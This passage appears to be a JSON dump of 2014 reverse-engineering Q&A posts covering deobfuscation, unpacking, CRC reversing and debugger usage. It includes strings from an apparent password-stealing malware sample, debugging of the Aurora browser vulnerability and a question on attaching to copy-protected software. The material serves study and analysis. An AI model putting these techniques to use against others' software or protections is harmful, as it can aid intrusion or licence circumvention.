\n" }, { "Id": "6327", "CreationDate": "2014-09-27T15:21:02.240", "Body": "

Can someone deobfuscate this code? I am not getting any way to deobfuscate this.

\n\n

Unable to paste it over here as it over passed 30,000 word limit.

\n\n

http://pastebin.com/V327Q8Hg

\n\n

Thanks

\n", "Title": "Trying to deobfuscate multi layered javascript", "Tags": "|obfuscation|deobfuscation|javascript|", "Answer": "

Mostly cleaned up, you can rename vars if you will.\npastebin

\n" }, { "Id": "6329", "CreationDate": "2014-09-27T16:27:25.803", "Body": "

How can I measure the number of instructions a Windows (or Linux or XNU) kernel driver/module executed after, say, an IOCTL or a SYSCALL? My only ideas are the following:

\n\n\n\n

Any idea or option in any of the mentioned kernels to determine the number of instructions and, preferably, the number of different instructions executed?

\n", "Title": "Determining the number of instructions executed by a driver", "Tags": "|kernel-mode|instrumentation|", "Answer": "

You can also give a try to pin. There is even an example in the documentation explaining exactly what you want to do.

\n" }, { "Id": "6334", "CreationDate": "2014-09-28T20:19:37.577", "Body": "

I am having a obfuscated JS file and I want to deobfuscate it (and not beautify it). I have seen answer to a similar question here and I tried de-obfuscating a the file using online version of JSUnpack and JSDetox. However, I am still not able to deobfuscate it. The JS file is not a malware but it is used to inject ads into web-page. So, any analyser analysing the file won't find anything malicious. The problem is that the JS stores (hex) strings in string array and using it to concatenate the code. JSDetox atleast decodes the string array in the beginning of the file. However, the readability is not improved anyway as the whole code makes use of the string array. If anyone wants to take a look at the file they can find it here.

\n\n

Any kind of help would be appreciated! Thanks.

\n\n

Edit: I have also tried Malzilla now because I found a similar technique here. However, the script probably has some errors which is tolerated by Chrome. However, when I click \"Run Script\" in Malzilla, I get a message saying \"Script cannot be compiled\". I tried to debug script using the \"Debug Script\" button, the window highlights some line saying \"InterYeildOptions is not defined\" and I don't know what to do about it. :-/

\n", "Title": "Deobfuscating a javascript file", "Tags": "|deobfuscation|javascript|", "Answer": "

Well, so, you can use http://jsbeautifier.org/ with unescape printable chars to get the top var decoded, then, if you look closely, you should see that the values of the var are used everywhere with an index, so you can just write a quick script to replace it with the actual value. End result is here

\n\n

Python to replace the var:

\n\n
#Replace.py //probably not optimized, so dont be too harsh on me\n_0x4b6a=[copy-pasteValueDecodedFromScript]\nwith open('EncodedScript.js') as fp:\n    for line in fp:\n        for i in range(0,608):\n            line = line.replace(\"_0x4b6a[\"+str(i)+\"]\", _0x4b6a[i])      \n        print line\n
\n" }, { "Id": "6338", "CreationDate": "2014-09-29T11:40:55.903", "Body": "

Hopper allows you to change the representation of numbers in the disassembly window so that:

\n\n
0000be84         str        r3, [r11, #0xfffffff0]\n
\n\n

becomes:

\n\n
0000be84         str        r3, [r11, #-0x10]\n
\n\n

This doesn't carry over into the decompiled code though:

\n\n
r3 = *(r11 + 0xffffffffffffffd8);\n
\n\n

Whilst it's not a major thing, it would be nice for the representation to be carried across.

\n\n

Can this be done?

\n", "Title": "Signed/unsigned representation of ints in decompiled code in Hopper", "Tags": "|decompilation|hopper|", "Answer": "

I don't think that this is possible now; feel free to open an issue on Hopper's bugtracker.

\n" }, { "Id": "6342", "CreationDate": "2014-09-29T12:35:24.643", "Body": "
\n

(i've also posted this question on stackoverflow before i found out there was a specific stackexchange site for reverse engineering. My bad. Original post here: https://stackoverflow.com/questions/26095009/need-help-reverse-engineering-a-crc16)

\n
\n\n

I'm trying to connect to the Safecom TA-810 (badge/registration system) to automate the process of calculating how long employee's have worked each day. Currently this is done by:

\n\n
    \n
  1. Pulling the data into the official application
    2. \n
  2. Printing a list of all 'registrations'
    3. \n
  3. Manually entering the values from the printed lists into our HR application
    4. \n
\n\n

This is a job that can take multiple hours which we'd like to see automated. So far the official tech support has been disappointing and refused to share any details.

\n\n

Using wireshark I have been capturing the UDP transmissions and have pretty much succeeded in understanding how the protocol is built up. I'm only having issues with what i suppose is a CRC field. I don't know how it is calculated (CRC type and parameters) and using which fields ...

\n\n

This is how a message header looks like:

\n\n
D0 07 71 BC BE 3B 00 00\n\nD0 07 - Message type\n71 BC - This i believe is the CRC\nBE 3B - Some kind of session identifier. Stays the same for every message after the initial message (initial message has '00 00' as value)\n00 00 - Message number. '01 00', '02 00', '03 00'\n
\n\n

Some examples:

\n\n
Header only examples\nE8 03 17 FC 00 00 00 00 -> initial request (#0, no session nr)\nD0 07 71 BC BE 3B 00 00 -> Initial response (#0, device sends a session nr)\n4C 04 EF BF BE 3B 06 00 -> Message #6, still using the same session # as the initial response\n\nLarger example, which has data\n0B 00 07 E1 BE 3B 01 00 7E 45 78 74 65 6E 64 46 6D 74\n
\n\n

I've also been trying to figure this out by reading the disassembled code from the original application. The screenshot below happens before the socket.sendto and seems to be related.

\n\n

\"original

\n\n

Any help will be extremely appreciated.

\n\n

EDIT: Made some success with debugging the application using ollydbg. The CRC appears in register (reversed) EDX at the selected line in the following screenshot.

\n\n

\"crc

\n", "Title": "Safecom TA-810 protocol (having trouble with the CRC)", "Tags": "|ollydbg|protocol|", "Answer": "

I've managed to create a php script that does the CRC calculation by debugging the application using OllyDbg.

\n\n

The CRC is calculated by Adding up every 2 bytes (every short). if the result is larger than a short, the 'most significant short' is added to the 'least significant short' until the result fits in a short. Finally, the CRC (short) is inverted.

\n\n

I'll add my php script for completeness:

\n\n
<?php\nfunction CompareHash($telegram)\n{\n  $telegram = str_replace(\" \", \"\", $telegram);\n  $telegram_crc = substr($telegram, 4, 4);\n  $telegram = str_replace($telegram_crc, \"0000\", $telegram);\n\n  echo \"Telegram: \", $telegram, ', Crc: ', $telegram_crc, ' (', hexdec($telegram_crc), ')<br />';\n\n  $crc = 0; \n  $i = 0;\n\n  while ($i < strlen($telegram)) \n  {\n    $short = substr($telegram, $i, 4);\n\n    if (strlen($short) < 4) $short = $short . '00';\n\n    $crc += hexdec($short);\n    $i += 4;\n  }\n\n  echo \"Crc: \", $crc, ', inverse: ', ~$crc;\n\n  // Region \"truncate CRC to Int16\"\n  while($crc > hexdec('FFFF'))\n  {\n    $short = $crc & hexdec ('FFFF');\n\n    // Region \"unsigned shift right by 16 bits\"\n    $crc = $crc >> 16;\n    $crc = $crc & hexdec ('FFFF');\n    // End region\n\n    $crc =  $short + $crc;\n  }\n  // End region\n\n  // Region \"invert Int16\"\n  $crc = ~$crc;\n  $crc = $crc & hexdec ('FFFF');\n  // End region\n\n  echo ', shifted ', $crc;\n\n  if (hexdec($telegram_crc) == $crc)\n  {\n    echo \"<br />MATCH!!! <br />\";\n  }\n  else\n  {\n    echo \"<br />failed .... <br />\";\n  }\n}\n\n$s1_full = \"E8 03 17 FC 00 00 00 00\";\n$s2_full = \"D0 07 71 BC BE 3B 00 00\";\n$s3_full = \"D0 07 4E D4 E1 23 00 00\";\n$s4_full = \"D0 07 35 32 BE 3B 07 00   7E 44 65 76 69 63 65  4E    61 6D 65 3D 54 41 38 31 30 00\";\n$s5_full = \"0B 00 39 6C BE 3B 05 00   7E 52 46 43 61 72 64  4F    6E\";\n\nCompareHash($s1_full);\nCompareHash($s2_full);\nCompareHash($s3_full);\nCompareHash($s4_full);\nCompareHash($s5_full);\n?>\n
\n\n

Thanks for the feedback!

\n" }, { "Id": "6354", "CreationDate": "2014-10-01T12:54:21.337", "Body": "

I'm not sure if there are any legal hinderances to me asking this question, so if asking for unpacking advice is against the rules I apologize.

\n\n

I am new to reverse engineering and trying to manually unpack a PEtite 2.2/2.3 as a learning experience and have been trying to follow this guide: http://users.freenet.am/~softland/tutorials/Petite.v2.3.MUP.txt. The program I'm unpacking is the original PEtite packer itself.

\n\n

I have disabled passing on exceptions as it feels like cheating and I haven't fully grasped how exceptions work in this context, seemingly used here to derail the debugger, so I'd like to know why and how to work around it myself. I've come to this part in the guide:

\n\n
and this exception program generates for jumping to exception handler, so at that line put\nbreakpoint on exception handler (goto to 4164E3 and press F2), then press SHIFT+F9 and\nyou are at the beginning of exception handle\n
\n\n

When using OllyDbg 1.10 (non-patched), this is what I find at the address of the exception handler (this address is also where Olly said the OEP would be when I tried out the auto-unpacker SFX ability):

\n\n

\"enter

\n\n

In the guide it says that I should find the line 004164E3 CALL PETGUI.00416537 here. As you can see there is really nothing here, however it was the address I always ended up at no matter the method I tried to use (or saw in tutorials etc.), so I did a process dump and suddenly I got this:

\n\n

\"enter

\n\n

Now it struck me that since the program is self-modifying that might naturally confuse Olly, so I told Olly to re-analyze the code (before dumping the process), and I ended up with this:

\n\n

\"enter

\n\n

I got the expected result, but there's something missing... the CALL instruction can be seen in the opcode section but it hasn't been parsed by Olly. Now to my questions:

\n\n
    \n
  1. Why doesn't Olly parse this CALL instruction properly?
    2. \n
  2. How come E8 4F000000 somehow magically becomes CALL 416537? I don't see any 416537 in the opcodes. Found this answered here, leaving it for reference: https://stackoverflow.com/questions/10376787/need-help-understanding-e8-asm-call-instruction-x86.
    3. \n
  3. At the MOVS instruction where the exception is raised before ending up in the exception handler, if I press Shift-F7 or Shift-F8 to single-step instead of Shift-F9 I somehow end up at 4E3137 which is full of ADD BYTE PTR DS:[EAX], AL instructions, presumably an area of filler instructions that will later be overwritten. How come I ended up here? If I try to keep stepping I'm told EIP is set to 00000000 and can't proceed. This seems to be the case whenever I choose to exception-single step; errors show up that would be smoothly ignored if I had just used Shift-F9.
    4. \n
\n\n

I have the same problem in OllyDbg 2.01 aswell.

\n", "Title": "Why doesn't Olly's analyzation work properly in this code section?", "Tags": "|ollydbg|unpacking|", "Answer": "

Because the code at 0x4164e3 is never referenced in a CALL or JMP instruction, but (probably) used as data somewhere else (as you said the program is self-modifying), Olly thinks it's data, and has no reason to assume there's code there. See https://stackoverflow.com/questions/13812554/in-ollydbg-how-do-you-force-hint-disassembly-at-a-location for how to make sure olly treats that address as code.

\n\n

(In case the link goes away: Right Click -> Analysis -> During Next analysis, treat selection as -> Command, Or at least \"remove analysis from section\" to tell olly NOT to assume data.)

\n\n

The problem with single-stepping exception handlers is: If you do any kind of single-stepping, the debugger will place a breakpoint at the next instruction, execute the code at the current instruction, and hope for the breakpoint to return control to the debugger. However, the exception will call the exception handler, but the debugger doesn't even know the instruction is going to raise an exception, so it can't put the breakpoint at the exception handler's address. So, your single-step executes the exception handler (without returning to the debugger), which probably checks for the breakpoint after the instruction it came from (to actively detect a debugger) and, if it detects a debugger, jumps to \"nowhere\" to make the program crash/confuse the debugger user.

\n\n

There are lots of explanations on the internet that are more thorough than what i could write in a short answer, googling for \"exception handler single step\" brings up a few nice examples.

\n" }, { "Id": "6356", "CreationDate": "2014-10-01T15:20:57.683", "Body": "

Today I saw a command line option in the output of otool (this is a MacOS X program, offering similar functionality as objdump) that is named:

\n\n
-f -- print the fat headers\n
\n\n

So, what are the fat headers ?

\n\n

I tried to Google 'fat headers' and 'fat headers elf' but didn't find anything useful.

\n", "Title": "What is a FAT header?", "Tags": "|tools|", "Answer": "

A fat header is the header of a fat binary.

\n\n

See pages 67-68 in Mac OS X Internals:

\n\n
\n

Note that a fat binary is essentially a wrapper\u2014a simple archive that\n concatenates Mach-O files for multiple architectures. A fat binary\n begins with a fat header (struct fat_header) that contains a magic number followed by an integral value representing the number of architectures whose binaries reside in the fat binary.

\n \n

...

\n \n

\"fat

\n
\n" }, { "Id": "6358", "CreationDate": "2014-10-01T16:18:50.690", "Body": "

I have read about de-obfuscating JS files and about multi-layered obfuscation. I have come across a file (which I have uploaded here) and it doesn't seem to be obfuscated except for lines 21 and 42. I there seems to be some HTML components on those lines but when I tried using JSBeautifier and JSDetox on it, it doesn't help.

\n\n
    \n

  1. Have any of the reverse engineers come across this type of obfuscation? if yes, how is it done?

    2. \n

  2. Is thereany way to de-obfuscate it?

    3. \n
\n", "Title": "What kind of JS obfuscation is this?", "Tags": "|obfuscation|deobfuscation|javascript|", "Answer": "

This is dean edwards' js packer : http://dean.edwards.name/packer/. I see it quite frequently being used to obfuscate scripts as it is freely available. It's written in Javascript but there are also versions in other langages on the site.

\n\n

By the way the Decode button and text area is only disabled via HTML attributes, so you can reenable them using The Developer Tools in Google Chrome for example :) Here are the 2 decoded scripts from your sample :

\n\n

http://pastebin.com/duWWwWuQ\nhttp://pastebin.com/VUaivSVk

\n" }, { "Id": "6361", "CreationDate": "2014-10-01T21:29:39.807", "Body": "

I have this small subroutine (from Hopper, but IDA is similar):

\n\n
             sub_stringbegin:\n000127b8         push       {r11, lr}                                          \n000127bc         add        r11, sp, #0x4\n000127c0         sub        sp, sp, #0x8\n000127c4         str        r0, [r11, #-0x8]\n000127c8         ldr        r0, [r11, #-0x8]\n000127cc         bl         _ZNSs5beginEv@PLT                                   \n000127d0         mov        r3, r0\n000127d4         mov        r0, r3\n000127d8         sub        sp, r11, #0x4\n000127dc         pop        {r11, pc}\n                        ; endp\n
\n\n

The parameter is passed to this in r0.

\n\n

Why is this stored into the stack frame then immediately read out? It seems wasteful.

\n\n

I understand that r0-r3 aren't preserved in the ARM calling convention, but in that instance it would be sufficient to either just store it in the stack frame or pop it onto the stack.

\n\n

Similarly, moving r0 into r3 and back again seems wasteful after the branch.

\n\n

This is a ELF executable from a Busybox system.

\n", "Title": "Why does this ARM subroutine put a parameter into the stack frame and take it straight back out?", "Tags": "|disassembly|arm|", "Answer": "

This is a straightforward translation of

\n\n
x = foo;\ndoSomething(x);\n
\n\n

An optimization pass would have realized that x was still in r0 here. Presumably optimizations were turned off.

\n\n

By the way, it's not that wasteful, as the memory location in question will still be in L1 cache.

\n" }, { "Id": "6368", "CreationDate": "2014-10-03T15:04:15.470", "Body": "

I have the following two lines:

\n\n
  ....\n  push 401150h\n  call sub_401253\n  ....\n
\n\n

So, when I click on push 401150h IDA PRO shows:

\n\n
  seg0001 : 00401120 dword_401120  dd  6F662F3Ch, 3C3E746Eh, 3E702Fh, 253A4E52h, 54522073h\n  dd 2073253Ah, 73253A55h, 253A5020h, 656C774h, 616223Dh, 72676B63h, 646E756Fh\n  dd 0D73h, 7320703Ch, 335504h, 7265464h, 5484531h 55E4ADEh, A585B5448h, \n  .....(and so on)\n
\n\n

So, my first question would be : what is this? what it can be?

\n\n

My own results: that thing which I mentioned above is a string because in the function sub_401253 they copy it using lstrcpy() into a buffer:

\n\n
 ...\n lea eax, [esp+1FC + Buffer]\n ...\n mov edi, [esp+208+arg_0]\n push edi, \n push eax, \n call lstrcpy\n ...\n
\n\n

After that, in a next block the content of the buffer(which are the hexadecimal numbers now) is XORed in a loop. I assume that they encrypt or decrypt it (but that is not so importan for me right now.)

\n\n

I only want to know what IDA PRO try to depict with push 401150h which represents the hexadecimal numbers.\nThats it. I hope you can help me.

\n\n

best regards,

\n", "Title": "PUSHing a lot of hexadecimal numbers", "Tags": "|ida|assembly|hexadecimal|", "Answer": "

The data at 00401120 is ASCII-encoded text:

\n\n
3C 2F 66 6F 6E 74 3E 3C 2F 70 3E 00 52 4E 3A 25        </font></p>.RN:%\n73 20 52 54 3A 25 73 20 55 3A 25 73 20 50 3A 25        s RT:%s U:%s P:%\n77 6C 65 00 3D 22 62 61 63 6B 67 72 6F 75 6E 64        wle.=\"background\n73 0D 00 00                                            s...\n
\n\n

You can tell IDA to decode those bytes as text by clicking on the data at 00401120 and pressing the A key

\n" }, { "Id": "6371", "CreationDate": "2014-10-04T10:23:46.430", "Body": "

I have the following line (I use IDA PRO) :

\n\n
   ...\n   push (offset aPstorec_dllwne+0Ch)      ; lpProcName\n   push esi                               ; hModule\n   call GetProcAddress_0\n   ...\n
\n\n

When I click on (offset aPstorec_dllwne+0Ch) I use:

\n\n
   seg001:004012F0 ; char aPstorec_dllwne[] \n                   aPstorec_dllwne db 'pstorec.dll, 0 , 'WNetEnumCachedPasswords', \n                   0 , 'MPR.DLL' , 0 , 'SeDebugPrivilege', 0 , 0 , 0 , 0\n
\n\n

So my question is: \nHow should I read it to get the info which process is meant? I know that each field of an array is 4 byte and the db at the beginning indicates that.\nBut when I count from zero, I come to the 0 after WNetEnumCachedPasswords. It is wrong, right?

\n\n

best regards

\n", "Title": "Using GetProcAddress with offset syntax", "Tags": "|assembly|array|offset|process|call|", "Answer": "

If you run across an API call that you're unfamiliar with, check the MSDN page. Parameter 2 is \"The function or variable name, or the function's ordinal value.\" Looking at your offset only one of those things is a function name, WNetEnumCachedPasswords.

\n\n

You can verify this as the comment in your post said, by counting 12 (0xc) bytes from aPstorec_dllwne. db stands for databyte and you can also see that \"char aPstorec_dllwne[]\" designates a character array, also 1 byte per element.

\n" }, { "Id": "6376", "CreationDate": "2014-10-04T12:31:02.597", "Body": "

My program loads and unloads a DLL of main interest at runtime.\nI try to add comments and labels to the DLLs code, but when it is unloaded and loaded again, they are gone, as the DLL is rebased most of the time.

\n\n

I'm in search for an OllyDbg plugin to preserve the comments and labels when a DLL gets rebased (for Olly 1, but this task is that important that I'd also switch to Olly 2 if there is a plugin only for 2).

\n\n\n\n

Anyone knowing a plugin or still having the \"Dynamic Debugging\" plugin?

\n", "Title": "OllyDbg: Keep comments & labels in rebased DLL", "Tags": "|ollydbg|binary-analysis|", "Answer": "

OllyDbg2 supports this.

\n
\n

Another possibility of forcing ASLR off to get the same bases every time a DLL is loaded did not work for me. For those who want to try it: Start a Visual Studio Developer prompt (yeah, you'd need VS) and type in

\n
editbin /DYNAMICBASE:NO C:\\Game\\game.exe\n
\n

It should modify the PE header to disable ASLR in that executable and all DLLs it loads. But as said, it had no effect for me.

\n" }, { "Id": "6377", "CreationDate": "2014-10-04T13:18:23.310", "Body": "

In an application I'm analyzing, there's a global variable whose purpose/role in the program is known to me. I'd like to rename it, but for some reason I cannot.

\n\n

The assembly code:

\n\n
.text:00537E90                 mov     edx, ds:1C968D8h\n.text:00537E96                 mov     [eax], edx\n.text:00537E98                 mov     ds:1C968D8h, eax\n
\n\n

If I position the cursor on the address (ds:1C968D8h) and try to jump (using Enter), IDA will complain Command \"JumpEnter\" failed. Attempting to rename it with the N hotkey will cause IDA to place a label at that address rather than rename the variable as intended.

\n\n

While I'm doing this for educational purposes, this is a proprietary application, so I don't have the source code.

\n\n

I've checked Chris Eagle's \"The IDA Pro Book\", but there seems to be nothing on the subject in there.

\n\n

Help is greatly appreciated.

\n", "Title": "IDA - cannot rename or jump to a global variable", "Tags": "|ida|", "Answer": "

One thing that I've failed to notice turned out to be crucial: this file wasn't generated by my copy of IDA, it was given to me by a friend as a helping resource. I've simply disassembled the very same exe with my IDA and the troublesome address is now correct:

\n\n

\"enter

\n\n

\"http://i.imgur.com/AzHGbT1.png\"

\n" }, { "Id": "6381", "CreationDate": "2014-10-05T10:09:09.287", "Body": "

I am working on some ARM disassembly. A file is being operated on:

\n\n
0000e550  sub  r3, r11, #0x2d0\n0000e554  mov  r0, r3        ; /tmp/MAC\n0000e558  ldr  r1, = 0x9a60c ; 0xec04 (sub_e3a8 + 0x85c)\n0000e55c  mov  r2, #0x8      ; std::basic_fstream<char,std::char_traits<char>>::basic_fstream(char const*,std::_Ios_Openmode)\n0000e560  bl   _ZNSt13basic_fstreamIcSt11char_traitsIcEEC1EPKcSt13_Ios_Openmode@PLT ; std::basic_fstream<char, std::char_traits<char> >::basic_fstream(char const*, std::_Ios_Openmode)\n
\n\n

r0 is \"this\", r1 is the path (/tmp/MAC) and r2 is the mode. As can be seen, the mode is 0x8.

\n\n

The mode is \"implementation defined\" according to several sources. I haven't got specifics of the implementation unfortunately.

\n\n

What is the typical implementation of this on ARM ?

\n", "Title": "How do I map the std::_Ios_Openmode passed to basic_fstream to an actual value?", "Tags": "|disassembly|c++|arm|", "Answer": "

You should try to find out which compiler/library is being used, then check the specs of that compiler.

\n\n

Assuming it's gcc with libstdc++ (this is quite probable if you're on android; less probable on Windows RT), googling for \"gcc libstd ios_base openmode\" yields https://gcc.gnu.org/onlinedocs/libstdc++/libstdc++-api-4.5/a00504.html, which tells it's defined in ios_base.h. Navigating there, you can find

\n\n
00112   enum _Ios_Openmode \n00113     { \n00114       _S_app        = 1L << 0,\n00115       _S_ate        = 1L << 1,\n00116       _S_bin        = 1L << 2,\n00117       _S_in         = 1L << 3,\n00118       _S_out        = 1L << 4,\n00119       _S_trunc      = 1L << 5,\n00120       _S_ios_openmode_end = 1L << 16 \n00121     };\n
\n\n

and

\n\n
static const openmode in =      _S_in;\n
\n\n

so the open mode is probably in.

\n\n

But, unless you find out which compiler was used, this a guess, and we can only help you guessing.

\n" }, { "Id": "6384", "CreationDate": "2014-10-05T15:32:39.120", "Body": "

I working with ARM executable.\nSometimes I have something like this MOV instruction:

\n
MOV R0, #0xCD548A40\n
\n

where the number #0xCD548A40 is a valid offset but IDA doesn't recognize it as such automatically.\nI tried to reanalyze the executable with enabled option "Automatically convert data to offsets" without of any suitable result.\nI also tried to write IDAPython script to fix this, but the only possibility of conversion to offset that I found was:

\n
idaapi.jumpto(address)\nidaapi.process_ui_action("OpOffset", 0)\n
\n

Which is not too much convenient to use.

\n

Question

\n
\n

Given an instruction at specific address and one of its operands in a valid offset range is it possible to convert such numbers to offsets using IDA Python ?

\n

Which IDAPython API should I use for it ?

\n
\n", "Title": "Making operand an offset in IDA Python", "Tags": "|idapython|", "Answer": "

I happen to just run into this exact issue.

\n\n

Here's what I did. Replace the for bits with the if bits to just test it on a small bit.

\n\n
from idautils import *\nfrom idaapi import *\nfrom idc import *\n\n#if True:\n#    if True:\n#        if True:\n#            startea = 0x0F9109DC\n#            endea = 0x0F9109F\nfor segea in Segments():\n    for funcea in Functions(segea, SegEnd(segea)):\n        functionName = GetFunctionName(funcea)\n        for (startea, endea) in Chunks(funcea):\n            for ea in Heads(startea, endea):\n                if idc.GetMnem(ea) != \"MOV\" or idc.get_operand_type(ea, 1) != 5 or  idc.get_str_type(idc.get_operand_value(ea, 1)) != 0:\n                    continue\n                print \"0x%08x\"%(ea), \":\", idc.GetOpnd(ea, 1), idc.get_operand_type(ea, 1)\n                idc.op_plain_offset(ea,1,0)\n
\n\n

```

\n" }, { "Id": "6390", "CreationDate": "2014-10-06T21:04:56.960", "Body": "

I want to be able to monitor when a memory address is read from on Android. The binary I am studying stores around 60 bytes to a memory location during initialisation and this buffer is used at some later point. My problem is that I can't seem to find where this is accessed by static analysis and would like to set a breakpoint so that I can track its access during runtime.

\n", "Title": "Break on memory access on Android", "Tags": "|ida|memory|android|", "Answer": "

If the memory address is constant you can attach to the process and use the awatch command on GDB to monitor it. If it's not static you can break on the offending malloc call and set the bp there.

\n" }, { "Id": "6398", "CreationDate": "2014-10-07T20:17:51.937", "Body": "

I recently switched from OllyDbg 1 to 2, and I'm really missing a feature the plugin \"LabelArgs\" provided to me in OllyDbg 1.

\n\n

Labels were extended in a way it was possible to name the first instruction of an obvious functions like \"WriteToLog(int portOrOther, string title, string category, string text, int severity)\". In the disassembly, calls to the functions then appeared visually like calls to known WinAPI methods, for example:\n\"enter

\n\n

In OllyDbg 2 it looks like:\n\"enter

\n\n

Sadly strings are not directly seen anymore, but it helped me much more seeing when pushes are about to be method parameters.

\n\n

Is there an OllyDbg 2 compatible plugin providing me this feature?

\n", "Title": "OllyDbg 2: Providing label arguments?", "Tags": "|ollydbg|", "Answer": "

Since the original LabelArgs plugin was open source, I ported it to OllyDbg 2. It should have the same functionality as the original LabelArgs plugin, feel free to improve on it.

\n\n

Link to the repository:\nhttps://bitbucket.org/mrexodia/labelargs

\n\n

Binaries:\nhttps://bitbucket.org/mrexodia/labelargs/downloads

\n" }, { "Id": "6399", "CreationDate": "2014-10-07T21:05:36.727", "Body": "

I am using IDA pro to decompile a series of applications. These applications share a common feature and what I have found is that in each decompilation each application shares the same set of functions. If the binary is stripped how does IDA pro work out the function names ?

\n\n

The functions that I am seeing in common between the applications are all very abstract, for example v404(), and as far as I can work out don't come from any open source library set of functions.

\n", "Title": "How does IDA pro generate function names?", "Tags": "|ida|decompilation|functions|symbols|debugging-symbols|", "Answer": "

I've seen 4 naming conventions being used:

\n\n\n" }, { "Id": "6400", "CreationDate": "2014-10-07T22:04:20.413", "Body": "

I'm attempting to inspect memory of an httpd binary compiled statically with openssl. When I list the httpd processes, I get:

\n\n
$ ps aux|grep httpd\nroot     58539  0.0  0.7  75364  3740 ?        Ss   14:49   0:00 /opt/httpd/bin/httpd\ndaemon   58850  0.0  0.5 364328  2556 ?        Sl   14:58   0:00 /opt/httpd/bin/httpd\ndaemon   58914  0.0  0.5 364328  2548 ?        Sl   14:59   0:00 /opt/httpd/bin/httpd\ndaemon   58942  0.0  0.5 364328  2544 ?        Sl   14:59   0:00 /opt/httpd/bin/httpd\n
\n\n

I then tried attaching to each of the processes individually and applying a breakpoint to the function I am trying to debug. However, the breakpoint never gets triggered, although I know the function is being called. I assume this problem relates to something along the lines of httpd forking on a new process, but I'm a bit stuck on how to proceed. Is there a generic way to ensure my breakpoint is triggered even if the processes forks?

\n", "Title": "Debug httpd process", "Tags": "|gdb|dynamic-analysis|", "Answer": "

Depending on the worker model your apache is configured to use its likely a new worker is being spawned to handle your request if your bp isnt hitting. Like Guntram said you can disable forking and put httpd in debug mode by using the -X flag and starting gdb with:

\n\n
gdb httpd -X\n
\n\n

If for some reason you need to debug the multiple worker configured httpd you should use the gdb options set follow-fork-mode ask or set follow-fork-mode child if you know you'd like to follow all forks in advance. (https://sourceware.org/gdb/onlinedocs/gdb/Forks.html). This would also be considered the 'generic approach' and would apply to programs that don't allow you to run single process in the foreground.

\n" }, { "Id": "6406", "CreationDate": "2014-10-08T16:23:42.553", "Body": "

The !pte command in WinDbg gives all the information one may need regarding a virtual address (PDE and PTE location and content), but even on systems with PAE it says nothing about the Page Directory Pointer Table. \nI know that I can get the physical base of the PDPT by looking at CR3, and then use the highest 2 bits of the VA as a index in that table to get to the PDPT Entry, but I'm just curious if there is a command that works like !pte when it comes to PAE as it will be a nice tool to verify my address translations step by step.

\n\n

Also, is there a way to determine MAXPHYADDR? I know it is at most 52.

\n", "Title": "Page Directory Pointer Table in WinDbg", "Tags": "|memory|windbg|", "Answer": "

To answer your other question, maxphyaddr and the AMD counterpart are found via cpuid leaves, but it's important to note that the bus interface to the MCH (which is typically integrated on the cpu these days) probably only uses 33-36 of those lines on the address bus.

\n" }, { "Id": "6419", "CreationDate": "2014-10-10T19:33:44.593", "Body": "

I've recently been undertaking a little RE project where I needed to patch the executable. For small modifications, I know enough x86 to patch in an jump, nop, infinite loop, etc, so a hex editor is good enough. But what about larger ones?

\n\n

I used to use OllyDbg for this, there were great tools in it, you could go to any line, press space and just start assembling, instructions you replaced would be padded with NOPs automatically and there were even nice plugins to find code caves.

\n\n

Unfortunately, OllyDbg seems barely updated these days and fails to load any application on 64 bit Windows 8.1, so I've switched to Hiew. Hiew isn't bad, but the interface is well, more than a little dated and fairly cumbersome to use compared to Olly's.

\n\n

I'm wondering if anyone knows any more modern tools that can perform this same sort of function.

\n", "Title": "Are there any modern assembly-level patching tools?", "Tags": "|ollydbg|patching|", "Answer": "

There are a few really great options.

\n\n

First, something that I frequently forget when doing patching is that LD_PRELOAD makes hooking/redirecting library routines very easy.

\n\n

If you must patch instructions, the tools that I use on a regular basis are pwntools (a Python library) and Fentanyl (an IDAPython script).

\n\n

For pwntools, the following would be an example of patching an instruction at file-address 0x1234, which we'll say is virtual-address 0x8001234. Note that this support is limited to ELF files, and does not work for PEs.

\n\n
#!/usr/bin/env python\nfrom pwn import *\nfile = ELF('/path/to/elf')\nfile.asm(0x8001234, 'nop') # Using virtual address\nfile.asm(file.offset_to_vaddr(0x1234), 'nop') # File offset\nfile.save('/path/to/output')\n
\n\n

Using Fentanyl is GUI-driven, but it works pretty well and even nop-pads your instructions and fixes offsets.

\n\n

\"Fentanyl

\n" }, { "Id": "6420", "CreationDate": "2014-10-10T19:40:10.940", "Body": "

As part of an assignment, I am trying to do some debugging in iexplore.exe (Aurora vulnerability).

\n\n

After I load the test webpage in iexplorer 8, I open windbg and attach to the iexplore process.

\n\n

I verify my symbolpath by using:

\n\n
.sympathy\nSymbol search path is: srv*C:\\Users\\User\\Desktop\\Symbols\nExpanded Symbol search path is: srv*c:\\users\\user\\desktop\\symbols\n
\n\n

I know that what I am interested in is inside of mshtml, so I list all the symbols in mshtml via:

\n\n
x /t /n mshtml!*\n
\n\n

Next, I use:

\n\n
u mshtml!CEventObj::GenericGetElement\n
\n\n

To see the function I am interested in and discover that one of the instructions I want to examine is at:

\n\n
mshtml!CEventObj::GenericGetElement+0x91\n
\n\n

I try setting a breakpoint at that address by:

\n\n
 bp mshtml!CEventObj::GenericGetElement+0x91\n
\n\n

Then, I run:

\n\n
bl\n
\n\n

And the breakpoint shown is actually at:

\n\n
mshtml!CEventObj::GenericGetElement+0x3b\n
\n\n

Why isn't my breakpoint at the point I specified ?

\n\n

Also I have tried using:

\n\n
u mshtml!CEventObj::GenericGetElement+0x91\n
\n\n

And the code is totally different than when I simply unassembled the entire function based on the symbol address for the function.

\n\n

Any ideas would be greatly appreciated.

\n", "Title": "windbg refferencing symbols is inconsistent", "Tags": "|windbg|", "Answer": "

due to optimizations which include chunking of functions the offsets in the symbols are rendered irrelevent use actual address to set breakpoints windbg normally shows the actual address in brackets at the end

\n\n

for example some random function in msxml

\n\n
0:007> ? msxml3!AbortParse \nEvaluate expression: 1956897309 = 74a3e21d\n0:007> # je msxml3!AbortParse l10\nmsxml3!AbortParse+0x18:\n74a3e235 7451            je      msxml3!AbortParse+0x61 (74a3e288)\n0:007> bp msxml3!AbortParse+0x61\n0:007> bp 74a3e288\n0:007> bl\n 0 e 74a3e27e     0001 (0001)  0:**** msxml3!AbortParse+0x57\n 1 e 74a3e288     0001 (0001)  0:**** msxml3!AbortParse+0x61\n0:007> .bpcmds\nbp0 0x74a3e27e ;\nbp1 0x74a3e288 ;\n
\n" }, { "Id": "6427", "CreationDate": "2014-10-11T15:14:43.567", "Body": "

I have a target application protected with CrypKey.\nWhen i try to attach to the apps in OllyDbg and Ida Pro i receive Unable to attach to this process.

\n\n

